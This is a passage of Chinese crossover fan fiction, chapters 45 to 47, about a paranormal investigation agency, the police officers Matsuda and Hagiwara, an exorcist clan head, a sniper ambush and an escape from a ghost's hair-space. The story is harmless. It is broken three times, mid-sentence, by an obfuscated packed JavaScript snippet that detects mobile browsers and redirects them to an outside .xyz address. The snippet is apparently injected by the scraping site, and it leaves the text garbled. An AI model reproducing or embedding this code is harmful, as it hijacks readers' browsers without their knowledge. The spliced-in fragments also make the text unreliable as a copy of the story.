耳边是联络员惊讶的询问声,还有萩原研二嘲讽的声音——那个冒充的一点也不像的家伙,两个群众紧张询问发生什么的声音…… 不,不对,不是这样。 松田阵平想起了那天的织田作之助。 只是闭眼还不够。 拨开假象,他们都是背景音,找到被假象掩盖的声音…… …… 砰—— 两声。 是枪声! hagi! 落点——在左前方! 松田阵平猛的朝左前方扑过去——有人! 耳边有风声,格斗经验使他立刻偏头,躲过了挥舞过来的拳头,松田阵平摸到了对方的脖颈,直接绞住。 手下的挣扎慢慢停止,就在这时,松田阵平听到了萩原研二的声音。 “小阵平!” 他睁开眼。 45.四十五 “你们还好吗?” 看服装,是救援队的人。 坂口安吾清了下嗓子,夏楠已经移开视线重新看回那边盘根错节的树根,他松了口气,扬声回答,“我们没问题!” “有人受伤吗?” “没有!” 洞口的人消失了一会儿,紧接着,另一张面孔出现在洞口,“是夏目社长一行人吗?” 坂口安吾沉默了一下,回答,“对!” “下面一共几个人?” “三个!” 洞口的人又消失了一会儿,紧接着,最初的那个人重新出现,“你么站远一点,我会扔绳子下去,绳子上有绑好的绳结,你们把绳结套到腰上,我们拉你们上来!” 坂口安吾看了一眼夏楠,夏楠在伸手抠树干,他默了一下,回答,“好的!” “需要我们下去一个人协助吗?” 坂口安吾于是又看夏楠,夏楠从树干上掰下来一小节树根,的场静司在旁边饶有兴趣的看,还在问什么‘你对这种东西感兴趣?’、‘原来如此,移植么?’之类突然走进园艺频道的问题。他再次默了一下,“不用!” 一根绳子被丢了下来。 救援队一共五人,坂口安吾被重新拉回地面以后,看了眼那颗不大但挂满了人的树……好吧它只是假装自己挂满了人……谁会想到这样一颗看起来平平无奇的树居然能拥有那么庞大的根系。 就很迷,它的根得有它地上部分的百倍以上大了吧。 “很抱歉现在才赶到,我们收到了您发来的定位……” 救援小队的队长正在和夏楠说话,“不知道现在情况怎么样,两位警官先生受了些伤没办法过来,我们的人也有两名依旧在昏迷……”小队长皱着眉头,“……没想到##那家伙居然会做这样的事,明明一直以来相处的都很不错。” 什么意思? 坂口安吾有些疑惑,“你们在救援途中遇到什么了吗?” 小队长回答,“没有,一路走来都很顺畅。” “那……两名队员依旧在昏迷是指?” “啊,”小队长又说了声抱歉,“事情是这样的……” 在接到救援任务以后,他们回到休息室进行准备工作,分析那名失踪主播的直播内容,顺便检查装备和核实救援路线。 “……然后我们就昏过去了,是警官进来叫醒的我们。” “叫醒?” “对,”小队长有些古怪的表情,“就是做了个梦,梦里我们正在救援,却一直找不到人,一直往前走……大家的梦都一样,甚至还记得彼此之间的对话。” …… 有点超纲。 坂口安吾看向夏楠。 夏楠正在拨弄手机,并没有什么搭话的意图,倒是的场静司解释了一下,“是古笼火,一种小妖怪,天生亲人,有蒙蔽感知,编造幻境的能力。” 妖怪? 坂口安吾看向他,“的场家主好像很了解?” “还算了解吧,”的场静司看向夏楠,“一点点事前调查,毕竟,这里原本是除妖师协会在负责每年的检查工作。” 你刚刚可不是这个态度。 坂口安吾默默推眼镜。 夏楠终于收起手机。 他张开嘴,就在坂口安吾以为对方要就目前的情况说一些什么的时候,夏楠的确说话了,说的却是一个……名字? “白井。” 一遍不够,他念了一长串。 “白井白井白井白井白井白井白井白井。” 坂口安吾:? 空气十分安静,等了一会儿,无事发生。 果然不会过来么…… 的场静司笑着开口,“妖怪可是很有领地意识的,特别是像这里,依赖于阵地生存的妖怪,”他说着,“那个喜食人类眼球与恐惧的祟神不会擅自跑进别的妖怪的领地。” “它依赖传说而生,顺从标记狩猎,这种祟神,在别的妖怪的阵地里,不堪一击。” 眼球? 说的是之前那两个人遇到的东西? 夏楠终于正常说话,“先回去,”他对救援小队的人开口,“需要你们在这里留一段时间,等待后续警察赶过来,有问题么?” 小队长点点头,“放心吧,”他说完,犹豫了一下,还是问道,“不知道那名失踪的主播……” 在刚赶到这里的时候他就已经认出来了,一模一样的树,还有那双鞋——就是这里,直播中断的地方。 “在下面,”夏楠言简意赅,“树根里。” “树……树根……里?” “唔。” 夏楠随意应了一句,已经开始往来时的方向走。 小队长神情变来变去,他看看树洞,再看看树,最后又看向夏楠一行人离开的方向。 坂口安吾简短和救援小队道谢,立刻走到夏楠身边,“松田警官他们……” “遇到了坏人。” “那……” “然后制服了坏人。” …… 好吧。 坂口安吾不说话了。 —————— “这里的家伙已经没有用了,让它最后散发一点余热而已。” “你不要说话。” “喂多少都只会龟缩在地底下,枉我花费了那么长时间去培育……” “哎呀,都说了你不要说话,”一名金发男性正坐在被限制了行动力的联络员身边,伸出手拍了一下对方的脑袋,“我说,警官先生,我可以堵住他的嘴吗?” “什么?”萩原研二正在一位老者的帮助下给自己被烧伤的部位上药,他的眼睛直视某个方向,视线凝固,一动不动,“抱歉,你也知道,我现在不能分散注意力。” 松田阵平正在和刚刚赶到的同事交流,并没有表态。 “哦!明白!”金发男很上道的比了比拇指,随即,开始脱鞋,并脱掉了自己的袜子。 “用它来除掉那个碍眼的探灵社社长,真是可惜,本来一切都计划好的呜呜呜呜呜!!!” “三天没洗的袜子,怎么样,滋味不错吧?” 金发男笑嘻嘻,“你可别瞎叨叨了,不爱听,我就是顺路过来帮个忙而已,不想知道太多的啊。” “阴谋啊,害人啊,都不想知道,我晚上还有一场live呢。” 另一边,被叫醒的两只开口,“萩原警官,我们来吧,您专心上药。” …… “哦?降魔杵?” 的场静司微微挑眉,“有意思,那位警部亲自过来了?” 夏楠一行人已经重新回到了救援中心。 的场静司看到了金发青年,“原来是你。” 金发青年疑惑,“你是哪位?你认识我?” 的场静司只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815568|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是笑,并不说话。 夏楠的出现让萩原研二和松田阵平都松了口气,尽管已经制服了主犯,也解救了人质,增援到了,一切都暂时回归正轨,但在看到夏楠身影的那一刻,两人才算真正放下心来。 那种无论发生什么都不必再担忧的感觉。 第一次主导神秘测案件的侦破,尽管只是临时的,两人心里实际都很没底。与他们之前所接触的所有案件都不一样,不遵循一般物理规则的神秘测,总会让人有些束手束脚。 “二位,感觉如何?” “糟糕透了。” 手臂和腰侧被烧伤的萩原研二苦着脸,“我们可是新人啊,一次面对两个神秘测未知生物,也太难为人了。” 当时不知名存在点燃了他的衣服,火苗以不正常的速度迅速蔓延,他不得不伸手去扑打,却无法阻拦它的燃烧。耳边是嘻嘻嘻的笑声,眼前是‘白井’尖锐的指甲,在那一刻,萩原研二以为自己真的要交代在这里了。 “还好##女士出现了。” 他说的是正在细致的帮他上药的婆婆。 本该在进入休息室后中招的婆婆……她的确中招了,只是很快清醒……听到外间的枪声,忐忑的跑到不知道什么时候关闭的休息室门边打开门往外看,刚好看到了萩原研二僵坐在地上,半边身体几乎被火焰吞没,那一刻,她只想着救人。被教导过如何用灭火器的她瞬间支愣起来,找到灭火器就冲过去帮忙灭火。 “我也没做什么,就是帮忙灭火而已,”被提到的婆婆比起邀功,更显得忧心重重,“这么好看的小伙子,烧成这个样子……” 夏楠看了一会儿婆婆的脸,“您身上带着什么东西么?比如护身符?” “护身符?”婆婆从领口取出一块玉制水滴状的吊坠,“是说这个吗?” “这可是我的祖母给我的呢,在我出嫁的时候……唉……一晃真是,好多年过去了啊……” 夏楠看了眼那个吊坠,很快收回视线。 他伸手抓住了萩原研二的手臂,“婆婆,你喜欢什么颜色?” “唉?” 婆婆有些懵,“颜色?” “对,颜色。” 婆婆四下看了看,眼前的青年让她有点压力,像是什么了不得的大人物,于是她小心翼翼的回答,“……绿色?” “为什么呢?” “因为是很有生命里的颜色,树木,青草,”婆婆说着,微微放松了些,“我养了许多植物呢,就在家里,每天看着它们,心情都会变的很好呢。” “这样啊,”夏楠说着,手中一转,变魔术一样,一支马克笔出现在他手里,“那就绿色吧。” 青草的绿色。 繁杂的符文在夏楠笔尖流淌而出,刻印在萩原研二被烧伤的手臂上。 围观的金发青年拖着下巴看了一会儿夏楠,忽然啊了一声,“是你!横滨探灵社的社长。” “嘘。” 被嘘了。 金发青年默默噤声。 夏楠微微垂着眼,神情平静,细软的发丝从他脸颊边滑落,半边脸沐浴在阳光里。 萩原研二原本一直在抽痛的被烧伤部位在对方的碰触下,似乎也没那么痛了。他想起了之前在佐伯宅时,夏楠也用同样的方法治好了惠子小姐的手臂。 松田阵平不知道什么时候走了过来,他没有出声,只是抿着嘴,默默的看着。 46.四十六 “你的名字?” 夏楠将手机递还给滝川法生。 “额,滝川法生,您也可以喊我和尚,大家都这么叫,”不自觉用了敬语的滝川法生有些局促的接过自己的手机,“刚刚电话刚接通没一会儿,真的,我不是有意的……” 夏楠没有听他的解释,他再次看向松田阵平,“外面那个,我来,还是你们自己?” 松田阵平看了眼依旧停留在接待中心外的白井,有些哪不准它是真的不甘心不愿意走,还是因为一直有人盯着走不了。这些和神秘侧规则类扯上关系的存在,就目前而言,白井算是他所了解到的,已知规则且可控的唯一一个。 警视厅也是因为这个在犹豫,很好的一次探索机会,只是目前白井相关传说被人上传到了网络,虽然大部分都已经删除,但他们无法确认网络之外的传播。这是最棘手的部分,不了解对方狩猎选择的情况下,无法将对方的目标控制在已知范围——不能让那些看到听到故事的普通民众面临未知的风险。 “如果可以的话,有没有限制它活动范围的可能?” “有是有,但我的方法并不适用,”夏楠看向的场静司,“这位玩忽职守间接导致许多无辜民众死亡的除妖师协会荣誉会长先生,你们表现的机会来了。” 的场静司,“祟神并不在我们与警视厅的合作项目之内。” “青木原树海里面的那只呢,也不在?” “夏目社长,你也看到了,封印是完好的。”的场静司微笑。 “我没看到,”夏楠说,“我不懂霓虹术法。” 他看着的场静司,“所以,你的意思是,与你无关?” “显而易见。” 的场静司摊手,“无论是谁,与祟神扯上关系,都不是什么好事,或许你不知道,夏目社长,这一类存在的源头根本无从考证,更别提收服或歼灭。” “当然,既然话都已经说到这里了,姑且给你们一个小小的建议……” 这句话,的场静司是对着松田阵平说的,他张开嘴,刚要继续,夏楠的声音再次响起。 “委托费?” 夏楠同样对着松田阵平。 松田阵平看了眼的场静司,选择了回复夏楠,“我会申请。” 他补了一句,“有危险吗?” “没有。” 夏楠说着,往前跨了一步。 他的身影消失了,毫无预兆,也没有任何能够供人辨认的‘前摇’。无声无息,对他来说,跨越空间的距离,一步来到室外仿佛就像喝水吃饭一样简单。 ! 滝川法生震惊,“什么情况?瞬间移动?!” 空间能力——坂口安吾想道——究竟是不是异能力?没有检测设备,没有数据支持,他无法仅凭借肉眼分辨。 的场静司微微沉下脸。 松田阵平在短暂的怔愣以后,立刻走到玻璃幕墙边。 夏楠出现在了白井身后,他周身散发着令人莫名恐惧的气场,但很快,这种危险感消失了。 场景有点诡异,一时间分不清谁才是那个‘恶灵’,毕竟突然出现在真‘恶灵’身后悄无声息搭人家肩膀这种事……怎么想都觉得有点古怪的恐怖。 现场能看到白井的人有志一同保持沉默,看不到的那部分只能看见夏楠抬起手、仿佛搭着什么东西的动作。 以前遭遇的都是夜晚活动频繁白天稍显萎靡的真‘死灵’、‘恶灵’一类,如今第一次遇到所谓的祟神,大家多少有点好奇。 围观ing 被围观的夏楠掏出了一个……空气。 所有人:? 滝川法生使劲眯着眼看夏楠空空如也的手,他并没有阴阳眼,既看不到妖怪,更看不到刻意不现身的死灵,他的除魔能力来自曾经作为和尚时期的修行与悟性,以及一点外力辅佐,并非天生。 能看到的的场静司上前一步,严肃的表情有所缓和,“原来如此……”他轻声呢喃。 刻意站在他身边的坂口安吾听到这句话,看了他一眼。 一个小挂坠,到手还不足半天。 两名尽职尽责一直在盯着白井看以防对方忽然动起来的无辜群众眼睁睁的看着不知道什么时候闪现到白井身后的夏楠,将一个……一团空气,挂在了对方的领口,挂完以后,还用手播了两下。 “是错觉吗?”无辜群众当中那名女性不确定的开口,“总感觉……它有点慌?” 无辜群众当中那名男性在她身边默默点头,“不仅仅是慌乱,感觉更接近……” 停顿半晌,两人异口同声,“害怕。” 它在害怕。 它当然应该害怕。 霓虹最古老的鬼神,在夏楠拨了两下挂坠以后,从地上钻出一个脑袋,“什么事?” 他的语气有些不好,脸色还很臭。 夏楠忽略了对方阴沉沉的脸色,地府的公务员总是这样,每天忙的飞起,经常应对的又都是世界参差里差的那部分奇葩,再加上死后世界的反能量,所谓的阴气……总之脸色就没有好的。 至少在活人眼中来说,多少都带点阴森。 “送你一只祟神。” 夏楠开口,一边说,一边拍了拍白井的肩膀。 鬼神的目光飘向了僵硬的白井。 救援中心内,隔着玻璃幕墙,两名无辜群众‘噫——’了一声,齐齐后仰。拍肩,原来是可以拍的吗?那是不是还可以……揍? 女性开口,“不对啊……我之前有对它丢过东西,完全没有打中的感觉。” 男性好容易找回自己的声音,“不……不愧是老大。” 松田阵平看着夏楠面对的方向——地面? 他在和谁说话,或者,和什么东西说话? 外面。 青天白日,朗朗乾坤。一只邪祟,一只鬼神。鬼神在听到祟神这种称呼的时候,神情明显更险恶了。他从地面升了起来,挑剔的目光上下打量白井。 “哪里来的?” “冒着被诅咒的风险,特意为你准备的。”临时起意,特意准备的。 鬼灯看了眼夏楠,夏楠一脸淡定。 “背了这么多孽力,很好,”加班中被叫过来的阎魔厅第一辅佐官露出一个阴森森的笑,“正好不喜处缺狱卒,按照生者的说法,半天上工,半天服刑。” “还不用发工资,完全可以像支配奴隶那样来对待你,哦,作为服刑的……祟神,”他停顿了一下,嗤笑一声,“你甚至不配被当做奴隶。” 鬼神一边说着,手跨过空间的分隔,捏住了白井的另一半肩膀。 就在对方要将白井拉入地府的世界时,夏楠开口,“稍等,”他说,“我作为HR的酬劳呢?” 鬼灯的动作停住了。 鬼灯在思考。 虽然过程肯定不像夏楠表述的那样,但作为受益方,的确应该支付相应的报酬,“你想要什么?” 夏楠微微一笑。 比起和麻烦的人类相处,他果然还是更喜欢这样的模式。双方都知道契约的等重,就算双方都具有打破契约的能力,契约也依旧具有有效的约束力,约束他们不去打破契约的约束力。 不是做不到,而是不能。 毕竟,后续的麻烦,一连串的连锁反应,往往比打破契约所获得的那一点点便利要繁琐的多,影响也同样深远的多。 神秘侧是不同的。 它的逻辑更加干净,也更加直白。就算是地府这样的地方,同样如此。 “一个承诺,”夏楠说道,“我要您的一个承诺。” “哦——突然用敬语,”对比面对白井时的险恶表情,在面对夏楠的时候,鬼灯几乎立刻恢复正常,他用空闲的那只手摸了摸下巴,“什么承诺?” 一人一鬼神,就这样隔着一个动都不敢动一下、已经不需要人盯着也完全不敢造次、莫名看起来很可怜的‘祟神’,旁若无人的交流。 “现在还不是说的时候,大概,”夏楠开口,“毕竟,我自己也不是很确定。” 鬼灯看着夏楠,“你果然知道些什么。” “不,我不知道,”夏楠否定,“但是……”他的目光越过鬼灯的肩头,看向他身后的方向,那里,一群人站在玻璃幕墙的里侧,看着他、看着他们。一双双眼睛,带着疑惑,带着探究,“……但是,答案终会来到我手中。” —————— “波本。” “好久不见,GIN。” 路边,黑色保时捷356A,经典款式,低调中透着不平凡。车上原本有两个人,在安室透坐上副驾驶以后,变成了三个。 尽职尽责的伏特加启动汽车,缓慢驶入车流。 “不要套近乎。” 琴酒在后座,“让你去接触迹部景吾,你却把探灵社引入局,波本……”他的手上多了一把枪,枪身抬起,枪口直对副驾驶安室透的方向,“……想好怎么狡辩了吗?” 安室透挑眉,面对琴酒的指控,他面不改色,在枪口之下,甚至能一直保持微笑,“难道不是你们故意把探灵社拉进来的吗?” “向迹部财团推荐探灵社的,不就是你那边的人么?” “我可是情报员啊,Gin,让我干活,我总得先查查来龙去脉吧。” 安室透坐的特别稳,“我不过是顺着你们的动作特意向探灵社卖个好而已。” 琴酒微微眯眼,“你都查到了什么?” “查到什么?”安室透看了眼琴酒,无视了近在眼前的枪口,“组织安插在迹部财团的眼线?” “那家伙已经没用了,让他撤走吧,迹部景吾已经注意到了。” 安室透话音一顿,“你这么问……Gin,倒是让我真的开始好奇了。” “总有一部分人,越过现有的情报网络,不知道在干些什么,联络方向又都在霓虹……你是打算和我摊牌了么?” “组织交给你的任务呢?”琴酒的枪依旧端的很稳,他忽略了安室透的话。 “拜托,我可是在那个夏目的眼皮底下,能不暴露已经是万幸了,你居然还想着任务?”安室透抱怨,“真是奇怪,我刚刚到冈谷公寓,就遇到了他们,只是稍微观察了一下,就被那个鬼杀队的柱发现了行踪,那个时候忽然离开才更可疑吧。” 安室透摸了摸下巴,“硬着头皮打招呼啊……我查了一下夏目的行动轨迹,倒是没什么特别的……” “关于探灵社的问题,到此为止,”琴酒开口,“你的任务,波本,。” “好吧,好吧,”安室透摆摆手,“生物样本,当然,他那个管家的。” 他从身上摸出一个塑料密封袋,里面有一根头发。 琴酒盯了安室透一会儿,伸手接过密封袋,“你暴露了?” “如果你是问迹部景吾,没有。” 琴酒言简意赅:“探灵社。” 安室透闻言,耸耸肩,“不知道,我个人强烈建议你自己去接触一下那位夏目社长,到时候你就明白我的感受了。” 琴酒终于收回自己的枪。他将密封袋装进口袋,嗤笑一声,“不用你说。” 安室透闻言,表面挑眉,内心重重一沉。 “很快,”琴酒的视线转向窗外,“很快,我们就会见面。” 安室透:…… 他故作好奇,“说说看?” 琴酒哼了一声,“做好你自己的事,波本,”他说,“不要让我抓到你的小辫子。” “嘿,你不能这样,琴酒,挑起别人的好奇又什么也不说。”安室透再次抱怨。 “收起你那拙劣的演技,”一个电话,被琴酒扔到了安室透面前,“等通知。” 安室透抓住电话,看了一眼。很常见的一次性用品,号码估计也是临时号码。 “现在,滚下我的车。” —————— “种花有句成语,叫财不露白,”白发青年诱导着头发的攻击方向,不停移动身形,“哎呀呀,托夏目社长的福,我也是狠狠读了好几本书呢,什么道德经、易经……” “虽然只是看了个开头。” 白发青年高高跃起,他在空中灵活的翻了个身,而此时,他的手中已经多出了一个圆鼓鼓的白团子,“既然是重要的护身符,就要好好拿好啊,怎么能随便展示给别人看呢?” 太宰治摸了一下空荡荡的肩头,脸色沉了下去。 白团子有些懵逼的翻了个身,似乎对换了个床这件事有些反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这个诡异的世界里,无法使用异能力,而晚来的自己,也根本不知道出去的方法。目前唯一能明确的是,他是被那个探灵社社长扔到这里来的,那么,出去的方法,也只能在他身上。 可夏目并不在这里,和他一同被困在这里的,是探灵社的织田作之助,以及太宰治。 如果护身符是夏目给太宰治的,那么,能说明一件事——他们是因为某些不得已的原因,被暂时丟进了这里。也就是说,他们迟早会出去。 “夫君,原来是你。” 白发青年看了眼太宰治,又看了眼面无表情的织田作之助。 女人已经作势要依靠在他肩膀上了。 这可不行。 嗯…… 反正有护身符在。 “你认错人了,我不是你的夫君,他才是,”白发青年说道,“他刚刚不是还想跟你殉情吗?” —————— “目标已经出现。” 某处公寓,顶层。一名身穿黑色风衣的长发男性正半蹲在公寓顶层的防护栏边,他的手里正在快速组装一挺狙击枪,他的耳朵上,挂着一个单侧入耳耳机。 耳机里正传出声音。 “我这边有遮挡,你们呢?” “我可以,等他下车,这个人归我了。” 长发男性听着耳边的说话声,手下枪械组装完毕,他立刻换成设计姿势,先是确认了一下目标所在车辆的位置,紧接着,靠着狙击枪倍镜的辅助,找到了其余两人埋伏的地方。 “嘿,黑麦,不要乱看,再用枪口对着我,信不信我先给你两发?” 他的行为很快被人发现。 黑麦淡定的调转枪口,重新看回那辆已经停住的车辆。 车门动了。 先下来的是驾驶座上的人,那个叫坂口安吾的青年,资料显示之前是一名研究民俗的出版校对。黑麦对此嗤之以鼻,探灵社的社员,有一个是一个的背景有问题。 后座的车门开了。 耳机里传来了几声粗重的呼吸,被基安蒂骂了两句,呼吸声消失。 一条腿出现在视野里,紧接着,是一道挺拔瘦长的身影。那个人有着一头很大众的浅金色发丝,略长,稍微盖住了一些面部轮廓。 “是他,现在开枪吗?” 黑麦按着扳机的手指紧了紧。 ——论如何在其他两个狙击手的眼皮底下,于这么远的距离之外,把人救下来。 “开枪。” 是琴酒的声音。 黑麦并没有找到琴酒的身影,不知道对方躲在哪里。 黑麦按动了扳机,他的枪口稍微偏离了一点,如果击中,会伤到大动脉,但处理得当的话,依旧有很大概率生还。 ——只能这样了。 他想着。 横滨这座城市实在不好渗透,时间过于仓促,FBI根本来不及部署。 为什么,组织会突然决定暗杀一个小小的灵异会社的社长? 黑麦在按动扳机以后,并没有立刻撤离,他们得确认目标的状态。 目标……完好无损。 那个挺拔消瘦的身影,正打着哈欠,往院门内走。 “怎么会?不可能!” 又一枪。 对方依旧没有任何反应,甚至,对方身边也没有任何被子弹击中的痕迹。 不是打偏,不是失误,而是——子弹,消失了。 “有问题,”黑麦终于出声,“Gin?” “你们撤离,丢掉枪。” Gin的声音从耳机内传来。 基安蒂骂骂咧咧,科恩不言不语。黑麦原地收枪,他故意放慢了动作,没有立刻就走。组织的行事作风不是这样,他们不明原因狙击失败,听Gin的语气,似乎是在意料中。 房门打开了。 房门闭合了。 无事发生。 沉默。 黑麦默默将枪留在原地,离开。 与此同时。 探灵社内,终于得以闲下来休息一会儿的夏楠伸出手。他的手心不知道什么时候,多出了四枚子弹。 “安吾君,”夏楠瘫进沙发,“来看看。” 47.四十七 “你就是坂口安吾?” “是。” 坂口安吾悄悄咽了口唾沫……其实也没什么唾沫,只是紧张,紧张到总觉得嗓子干哑。 “……” 和服女性,连妆容都十分有韵味,但不是传统韵味,而是更加具有侵略性的,韵味。艳丽的配色与略显独特的说话腔调,坂口安吾在内心默默将眼前的人和曾经接触过的资料对上了号。 尾崎红叶。 “不必紧张,”尾崎红叶微微侧身,“请跟我来吧,boss正在等你。” 与此同时,另一边。 织田作之助与太宰治站在一扇门前。 这里是四楼,刚刚装修完的样子,走廊里还堆放着一些未及时清理的建筑垃圾。织田作之助上前敲门,只敲了两下,门就开了。 室内的声音毫无阻碍的传了出来,有人在抱怨,有人在劝哄。开门的是一名形容有些狼狈的青年,金发,带着眼镜,身材高挑。他整理了一下衣襟与袖口,看到门口的人,努力挤出了微笑,“抱歉,今日武装侦探社不营业,如果有委托,请……” “国木田,让他们进来啦……” 一道依旧带着气鼓鼓的声音在男性身后响起,被称为国木田的人侧身回头,“可是,乱步先生……” “就是他们,”江户川乱步坐在办公桌上,双手撑着桌面,“和社长有约的,就是他们。” 国木田独步眼睛微微睁大,他重新转回来,仔细打量眼前的两人。 一个少年,嘴角微微带笑,一个青年,胡渣都没有刮,看起来有些没有精神。 “你们就是……” “探灵社,没错,”太宰治微微歪头,“不让我们进去么?” “……啊,”国木田让开了门口的位置,“请进。” 来的居然不是…… “来的居然不是探灵社的社长,”太宰治走进武装侦探社大门,看着国木田独步,笑着开口,“你在这么想,对么?” 国木田独步:…… 他推了下眼镜,这个动作让默不作声的织田作之助想起了同样一紧张就爱推眼镜的坂口安吾。 “……你的异能力?” “不是啦,”几分钟前还在为早餐吃甜点的问题闹脾气的江户川乱步从桌子上滑下来,走到他们身边,“他的异能力是……” “乱步。” 江户川乱步紧急刹车,闭上了嘴。他轻轻哼了一声,抱着胳膊让开了。 国木田独步听出了新出现的人声属于谁,他瞬间恭敬的站在一边,“社长。” 武装侦探社的社长,福泽谕吉。他外披墨绿色羽织,一头白发,出现在武装侦探社内连接更隐私区域的走廊前。他看向太宰治与织田作之助二人,“二位,请跟我来。” 时间是夏楠回到横滨后的第二天,让我们,稍微把时间往前拨一点。 在白发青年对女人说出太宰治才是她真正的夫君这句话的时候,太宰治脸上的笑容瞬间扩大,“你看,夫人,他不要你了。” 白发青年内心升腾起不安,第六感预警让他立刻想要离开现在所在的位置,与女鬼拉开距离。 然而,已经晚了。 女鬼的头发不知道什么时候悄悄缠绕他的脚踝,他反应不及,狼狈的跌倒。女鬼暴涨的头发眼看又要开始攻击,在千钧一发之际,白发青年将手中的白团子往脚踝处放。 没关系,他还有‘护身符’。 “织田作。” 太宰治开口。 织田作之助并没有如他所愿,将白团子招回来,而是放任对方用白团子清理了脚踝附近的头发,紧接着,在即将被其余头发缠住的时候灵活的逃开。 太宰治:…… 他叹了口气。 “抱歉,太宰,”织田作之助开口,“我已经决定不再杀人。” 哪怕动手的不是他,他需要做的只是剪断悬崖边最后的蛛丝。 太宰治没有强求,也没有不满,只是说,“是我的疏忽。” 白发青年微微眯眼。 情况对他很不利,枪的作用有限,刀具无用,他身上没有大规模杀伤性武器。 听那边两人的对话当中的意思,手中这个护身符,他们是有能力随时召回去的。 这就糟糕了。 该怎么出去还毫无头绪,如果连自保都捉襟见肘…… 不,等等。 之前,他在被头发拉进这个空间的时候,如果不是那个叫太宰治的家伙消除了他的异能,他原本可以通过自已的异能力【外套】成功转移。如果按照这个思路来想……当连通外部的通道被开启,在通道内部,异能力是可以被使用的。 只要注意避开那个家伙的碰触。 不能在这个空间消耗太多的体力,一但有一丁点的恐惧萌生,意识就会开始迅速瓦解。如果不是自己本身的情绪控制足够优秀,恐怕此时已经陷入恐慌之中了。 真麻烦啊,神秘侧。 白发青年的嘴角无限上扬,得先想办法安抚住眼前的女鬼……他看了一眼一边的看戏二人组……不过,那个小鬼估计不会给他休息的机会。 …… 就在第二波头发攻击即将到达眼前的时候,墙壁忽然开始躁动,空气开始不停扭曲。白发青年微微眯眼,抓紧了手中的白团子,退到了较为空旷的地方。而另一边,太宰治和织田作之助的耳边都响起了呼唤声——是坂口安吾的声音。 太宰治评价道,“安吾很害怕的样子呢。” 织田作之助跟了一句,“他掩饰的很好。” 早已经对头发内世界十分了解的太宰治张开了双臂,织田作之助不明所以的看着他。 空气开始流淌,是的,流淌,肉眼可见的那种流淌。女鬼的身躯化作了无数发丝,融入了空气中。而空气本身,就是无数透明的发丝。哪有什么破败的房间,哪有什么等待丈夫归家的女人。 头发,全都是头发。 他们从始至终,都在头发里,都被淹没在蠕动的头发里。 没有被呼唤的白发青年并无法如同太宰治二人一样看到这个世界的‘真实’,但他本能的从两人的表现中察觉到了不对。 女人还在攻击他,可他已经顾不上躲避。 不能被留下,如果错过这次机会,他将很难再有出去的可能。 白发青年眯起眼睛,蓄势待发。 一只手,凭空出现在空气中,那只手抓住了太宰治的胳膊,紧接着,太宰治抓住了织田作之助的胳膊。 白发青年抓住机会,将白团子丢向袭击而来的头发,直奔织田作之助而去。 “救救我。” 俊秀的脸上挤出了可怜巴巴的表情,对着织田作之助的方向。 正打算把人一块儿带出去教给夏楠的织田作之助:…… 白发青年抱住了织田作之助的腰。 几乎就在下一个瞬间,一股力量从凭空出现的那只手上传来。织田作之助心道不好,想开口喊汤圆已经太迟了。 撸成串儿的三人,被拽了出去。 白团子张开嘴大吃特吃,吃的正开心,忽然失去了保护对象的气息。它默默闭嘴,飘在空中,左看看,右看看,迟疑的打出了一个问号。就在它不知所措的时候,一只手,出现在空气中。依旧是凭空出现,却与之前那只手出现时的情况完全不同。因为失去猎物而躁动蠕动的‘空间’正在挤挤挨挨的逃离,在那只手出现的地方,露出了属于这个空间的真正的真实。 无数的干/尸,保持着临终前痛苦挣扎形状的干/尸,被整齐码放的一角。每一具干/尸的头上,都是稀疏的白发。 每一具。 这是一处只有点点荧光的空间,潮湿的地面,滴水的管道,斑驳的墙壁。有哭声,哭声中又夹杂着笑声。回声一层层叠加,分外瘆人。 就是吓不到白团子。 白团子的豆豆眼挤了两下,忽然睁大。 它认出来了。 “汤圆。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836776|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >清润的男声响起,带着微微上卷的尾音。 哭声与笑声在这个声音出现后瞬间消失。 人! 汤圆晃晃悠悠的飘向了那只手,团在修长指骨之间,亲昵的蹭了蹭。 手消失了。 黑暗重新回归,发丝掩盖真实,一切都沉寂下来。 另一边。 被拽出头发堆的几人叠叠乐一样跌坐在二楼的地面上,重获自由的白发青年在第一时间转移了自己,而在他消失的地方,有太宰治象征性开出的一枪打出的痕迹。 “我还会再来的,诸位。” 身影消失后,留下的话在空气中打个璇儿,消散。 “跑的可真快。” 太宰治转着枪,语气不明的说着。 坂口安吾:…… 他无语的拍了拍地面,“太宰君,你可以先起来吗?” “不要。” 收了枪的太宰治笑嘻嘻,他正坐在织田作之助的背上,而织田作之助,横趴在坂口安吾的肚子上。 坂口安吾默默磨牙,“作为捞你们两个人出来的大功臣,我认为我不该是现在这个待遇。” “安吾不开心吗?” “这种情况怎么看都和开心扯不上关系吧我说!”坂口安吾无语大喊,“还有,你们两个是怎么都被头发吞掉的啊,太宰君也就算了,怎么连织田你也!” 织田作之助:…… 太宰治鼓起脸颊,“喂喂,什么叫我也就算了,安吾是对我有什么不满吗?” 